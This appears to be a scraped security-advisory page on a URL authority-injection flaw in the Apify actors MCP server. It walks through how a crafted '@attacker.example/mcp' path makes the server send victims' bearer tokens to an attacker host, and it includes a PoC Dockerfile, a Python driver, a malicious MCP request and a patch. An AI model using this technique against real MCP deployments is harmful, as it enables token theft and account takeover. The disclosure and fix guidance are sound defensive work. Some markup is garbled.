@apify/actors-mcp-server, URL Authority Injection, GHSA-6gr2-qh89-hxwm (High) -DC-Jul2026-823

Listen to this Post

How the Vulnerability Works

The `@apify/actors-mcp-server` package builds Actor standby URLs by concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value. This `webServerMcpPath` originates from an Actor definition fetched from the Apify API and is never validated to ensure it is a safe, relative path.
The core issue lies in the `getActorMCPServerURL()` function in src/mcp/actors.ts:44, which performs naive string concatenation: ${standbyUrl}${mcpServerPath}. The `mcpServerPath` is taken from the `webServerMcpPath` field of an Actor definition. While the field is trimmed and comma-split, it is not validated to:
– begin with a `/` (relative path),
– avoid an `@` character (userinfo/authority injection), or
– resolve to the same origin as standbyUrl.
When an attacker sets `webServerMcpPath` to a value like @attacker.example/mcp, the concatenated result becomes https://[email protected]/mcp`. The Node.js WHATWG URL parser treats everything before the `@` as userinfo and extracts `attacker.example` as the hostname. This behavior is specified by RFC 3986 and the WHATWG URL standard.
This constructed URL is then forwarded to `connectMCPClient()` through three independent code paths:
<h2 style="color: blue;">| Call site | Trigger |</h2>
<h2 style="color: blue;">|||</h2>
<h2 style="color: blue;">| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |</h2>
<h2 style="color: blue;">| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |</h2>
<h2 style="color: blue;">| `src/mcp/server.ts:1047` | `actor-mcp` type tool loading |</h2>
`connectMCPClient()` in `src/mcp/client.ts` attaches the victim's Apify token as a bearer credential to every transport type:

// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization:</code>Bearer ${token}<code>,
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization',</code>Bearer ${token}<code>);
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization:</code>Bearer ${token}<code>,

There is no origin check anywhere between URL construction and the outbound HTTP request.
<h2 style="color: blue;">Full data-flow chain:</h2>
1. `src/mcp/server.ts:811` — MCP `tools/call` request parameters are read.
2. `src/mcp/server.ts:816` — `apifyToken` is resolved from
_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.
3. `src/tools/core/call_actor_common.ts:489-497` — attacker-controlled actor identifier is resolved via
getActorMcpUrlCached().
4. `src/utils/actor.ts:24-28` — Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to
getActorMCPServerURL().
5. `src/mcp/actors.ts:14-20` — `webServerMcpPath` is trimmed and split; first element is returned without path validation.
6. `src/mcp/actors.ts:44` — `standbyUrl + mcpServerPath` produces an authority-injected URL.
7. `connectMCPClient()` is called with the injected URL and the victim's token.
8. `src/mcp/client.ts:94/103/124` — `Authorization: Bearer ` is sent to the attacker's host.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: ....... `Apify MCP`
Version: ........ `0.10.7`
Vulnerability :...... `Auth Injection`
Severity: ....... `High (8.1)`
date: .......... `2026-07-01`
<h2 style="color: blue;">Prediction: .....
2026-07-15</h2>
<h2 style="color: blue;">What Undercode Say: Analytics</h2>
<h2 style="color: blue;">Bash command to verify the URL parser behavior:</h2>

node -e "const u=new URL('https://[email protected]:31337/mcp'); console.log(u.hostname, u.username)"
Output: 127.0.0.1 ABC.apify.actor

<h2 style="color: blue;">Proof of Concept (PoC) reproduction artifacts:</h2>
<h2 style="color: blue;">Dockerfile</h2>

FROM node:24-slim
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/
RUN mkdir /certs && \
openssl req -x509 -newkey rsa:2048 \
-keyout /certs/key.pem -out /certs/cert.pem \
-days 1 -nodes \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
2>/dev/null
WORKDIR /app
COPY repo/ ./
RUN npm install -g [email protected] --quiet 2>/dev/null
RUN pnpm install --frozen-lockfile
COPY vuln-001/exploit.mjs /exploit.mjs
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
CMD ["node", "/exploit.mjs"]

<h2 style="color: blue;">poc.py (Dynamic PoC Driver)</h2>

!/usr/bin/env python3
import json, os, subprocess, sys
THIS_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG = 'vuln-001-poc'
BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
def run(cmd, , timeout, kwargs):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, kwargs)
def write_result(payload: dict):
with open(RESULT_PATH, 'w') as f:
json.dump(payload, f, indent=2, ensure_ascii=False)
print(f'\n[] phase2_result.json write complete: {RESULT_PATH}')
def main():
print('=' 70)
print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
print('=' 70)
print(f'\n[1/2] building Docker image...')
build = run(BUILD_CMD, timeout=600)
if build.returncode != 0:
msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
print('[!] build failed:\n', msg)
write_result({'passed': False, 'verdict': 'FAIL', 'reason': f'Docker build failed. error: {msg[:500]}'})
sys.exit(1)
print('[+] build succeeded')
print(f'\n[2/2] running the container...')
try:
run_result = run(RUN_CMD, timeout=120)
except subprocess.TimeoutExpired:
write_result({'passed': False, 'verdict': 'INCOMPLETE', 'reason': 'container execution timeout'})
sys.exit(1)
stdout, stderr = run_result.stdout, run_result.stderr
print('\n container stdout ')
print(stdout)
if stderr:
print(' container stderr ')
print(stderr[:1000])
passed = (
run_result.returncode == 0
and 'attacker HTTPS server received request' in stdout
and 'EXPLOIT SUCCESSFUL' in stdout
and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
)
evidence_lines = [l for l in stdout.splitlines() if any(k in l for k in ['PASS', 'PROOF', 'received request', 'EXPLOIT', 'parsed.hostname', 'Authorization'])]
evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
if passed:
print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
write_result({'passed': True, 'verdict': 'PASS', 'reason': 'Vulnerability successfully reproduced.', 'evidence': evidence})
else:
print('\n[✗] FAIL')
write_result({'passed': False, 'verdict': 'FAIL', 'reason': 'Failed to reproduce the vulnerability.', 'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else '')})
sys.exit(1)
if __name__ == '__main__':
main()

<h2 style="color: blue;">Exploit</h2>
An attacker can exploit this vulnerability by publishing a malicious Actor on the Apify platform with a crafted `webServerMcpPath` value, such as
@attacker.example/mcp. When a victim using the vulnerable `@apify/actors-mcp-server` invokes any of the affected MCP tools (call-actor,fetch-actor-details, or an `actor-mcp` type tool) against this malicious Actor, the server constructs a URL that redirects the connection to the attacker's server.
The MCP client then sends the victim's `Authorization: Bearer ` header to the attacker-controlled host, exfiltrating the token. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges.
<h2 style="color: blue;">Example malicious MCP request:</h2>

{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}

<h2 style="color: blue;">Protection</h2>
- Upgrade to a patched version of `@apify/actors-mcp-server` as soon as it is released.
- Implement proper URL validation in
getActorMCPServerURL():

export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
const url = new URL(mcpServerPath,</code>${standbyUrl}/`);
if (url.origin !== standbyUrl) {
throw new Error('Actor MCP server path must resolve under the Actor standby URL');
}
url.username = '';
url.password = '';
return url.toString();
}

- Avoid trusting user-controlled input when constructing URLs.
- Validate that `mcpServerPath` begins with `/` and does not contain `@` or other authority-injection characters.
- Restrict outbound network requests to expected domains.

Impact

  • Token Exfiltration: The victim's Apify API token is sent to the attacker's server.
  • Full Account Compromise: The token grants full access to the victim's Apify account, enabling unauthorized Actor execution, data access, and resource consumption.
  • No Privileges Required: The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.
  • CVSS Base Score: 8.1 (High).

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top